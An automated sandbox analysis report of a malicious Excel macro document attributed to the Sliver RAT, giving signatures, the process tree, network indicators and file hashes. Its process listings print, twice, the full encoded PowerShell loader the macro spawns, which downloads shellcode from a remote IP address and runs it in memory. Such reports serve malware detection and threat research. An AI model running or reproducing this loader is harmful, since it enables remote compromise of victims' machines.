Analysis Overview
SHA256
4ec853d9972a4da2aee5ceb0d7820b0bf419a26f0e2a90d06e9562ae80d94a31
Threat Level: Known bad
The file 4ec853d9972a4da2aee5ceb0d7820b0bf419a26f0e2a90d06e9562ae80d94a31 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Sliver family
SliverRAT
Sliver RAT v2
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Office macro that triggers on suspicious action
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-10 21:53
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-10 21:53
Reported
2024-11-10 21:54
Platform
win7-20241010-en
Max time kernel
16s
Max time network
20s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Sliver RAT v2
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Sliver family
SliverRAT
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4ec853d9972a4da2aee5ceb0d7820b0bf419a26f0e2a90d06e9562ae80d94a31.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mhodx0cn.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBB93.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBB92.tmp"
Network
| Country | Destination | Domain | Proto |
| CH | 194.182.164.149:8080 | 194.182.164.149 | tcp |
Files
memory/1712-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1712-1-0x000000007258D000-0x0000000072598000-memory.dmp
memory/1712-8-0x0000000000730000-0x0000000000830000-memory.dmp
memory/1712-6-0x0000000000730000-0x0000000000830000-memory.dmp
memory/1712-3-0x0000000000730000-0x0000000000830000-memory.dmp
memory/1712-2-0x0000000000730000-0x0000000000830000-memory.dmp
memory/1712-9-0x0000000000730000-0x0000000000830000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\mhodx0cn.cmdline
| MD5 | 6802bbd6ff74706dc202629b1ab249d7 |
| SHA1 | 7caba32fdd16d5587ab2fdf91e4189c6bdf39f01 |
| SHA256 | b60e21b462cc17c324db55a46859563d5bf9142fbdef5e9846a775dffffe124d |
| SHA512 | 8bcb649a4b1a63fdc7f2ef5f0150de2f00d78bc8b0446778e7052d3f39f3113048b28201c5442034bd6ac56d300cd166461b32ef9a563b25f00d30825f4aa824 |
\??\c:\Users\Admin\AppData\Local\Temp\mhodx0cn.0.cs
| MD5 | f4dd5c682eb7b3b679f084261bfc7c4c |
| SHA1 | 70f75d7a4e42c185eb09139ed3c6f7338a2219c2 |
| SHA256 | 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319 |
| SHA512 | 8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d |
\??\c:\Users\Admin\AppData\Local\Temp\CSCBB92.tmp
| MD5 | f3c88107c5bbb4c028086de6b437c740 |
| SHA1 | 45f2a077478f0cca3e01d07e1c53a19adf165655 |
| SHA256 | e0982c61cb9305015306ed6db426edcf8eab1442ea2e1897267172b7b26905de |
| SHA512 | 5aeb51dfed70063a4f5b03f30e45aeaa1677d7f051a6221f50703e7b0d1eed62620d628e6bc7d4914b67d9e98342dce2b7152b3f64fbd73df2030810cf3e9275 |
C:\Users\Admin\AppData\Local\Temp\RESBB93.tmp
| MD5 | c0541f17a47b00cc1b3eea34d7290ad9 |
| SHA1 | d08301838dcdd9705b99bbdd0158db45bec270bf |
| SHA256 | dea0e3e33cdadbc895058bfc6f158854ded0828a2bb8a62c2a17076ac8ec4e58 |
| SHA512 | 1ae2dfd912c1e4cdd5c1ad458e1e4d1259b49ce4e212db1fef6c3bdb2b1daea5a9da17538790ec92805f05a985954c761cd7145f060a6e177f4a2c5c8aadc763 |
C:\Users\Admin\AppData\Local\Temp\mhodx0cn.dll
| MD5 | 5a73659333d8c4957af4726084548a8b |
| SHA1 | 862a185642af275ab7e14318989680dbe794a94b |
| SHA256 | 81a51fbb3453f49f8a8619d10663c088d053991e45bccc7f11b29ae4063b81c0 |
| SHA512 | 93afd454a616e045292f7b96d0f1c87e5dbf068297768319f1f694de06a9cad759769c660f929568d9718d2d52ae82f686e0f83975b3ea81ada0c561305824b6 |
C:\Users\Admin\AppData\Local\Temp\mhodx0cn.pdb
| MD5 | a0c1ec41e15e08aa76af49dece8d4c09 |
| SHA1 | 737dcdddf1970b1f2f732d4def0cee3b05038f2b |
| SHA256 | c18431be8cf7b4e60eb5303d6ab0ad1f46f60863ea9b904856882e7bb7f0566c |
| SHA512 | 666db975533821fe9f79303311f44bf0bdc5c91d6fdce76064b91bc4808d286e8aa54ce082c80c9d52b2404cb3a5ff80bfb9387baa7cab4e71fd2525f510ea96 |
C:\Users\Admin\AppData\Local\Temp\CabC812.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
memory/1712-44-0x0000000000730000-0x0000000000830000-memory.dmp
memory/1712-43-0x000000007258D000-0x0000000072598000-memory.dmp
memory/3028-45-0x0000000006A50000-0x00000000074CE000-memory.dmp
memory/1712-47-0x0000000000730000-0x0000000000830000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-10 21:53
Reported
2024-11-10 21:54
Platform
win10v2004-20241007-en
Max time kernel
56s
Max time network
62s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Sliver RAT v2
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sliver family
SliverRAT
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3248 wrote to memory of 2760 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3248 wrote to memory of 2760 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2760 wrote to memory of 2576 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe |
| PID 2760 wrote to memory of 2576 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe |
| PID 2576 wrote to memory of 4820 | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe |
| PID 2576 wrote to memory of 4820 | N/A | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4ec853d9972a4da2aee5ceb0d7820b0bf419a26f0e2a90d06e9562ae80d94a31.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fz5m5l4m\fz5m5l4m.cmdline"
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE290.tmp" "c:\Users\Admin\AppData\Local\Temp\fz5m5l4m\CSC46B605F05C0F4918937378D688A97239.TMP"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| CH | 194.182.164.149:8080 | 194.182.164.149 | tcp |
| US | 8.8.8.8:53 | 149.164.182.194.in-addr.arpa | udp |
| CH | 194.182.164.149:443 | tcp | |
| US | 8.8.8.8:53 | 168.117.168.52.in-addr.arpa | udp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
| CH | 194.182.164.149:80 | 194.182.164.149 | tcp |
Files
memory/3248-1-0x00007FFC10D0D000-0x00007FFC10D0E000-memory.dmp
memory/3248-0-0x00007FFBD0CF0000-0x00007FFBD0D00000-memory.dmp
memory/3248-7-0x00007FFBD0CF0000-0x00007FFBD0D00000-memory.dmp
memory/3248-9-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-12-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
memory/3248-11-0x00007FFC10C70000-0x00007FFC10E65000-memory.dmp
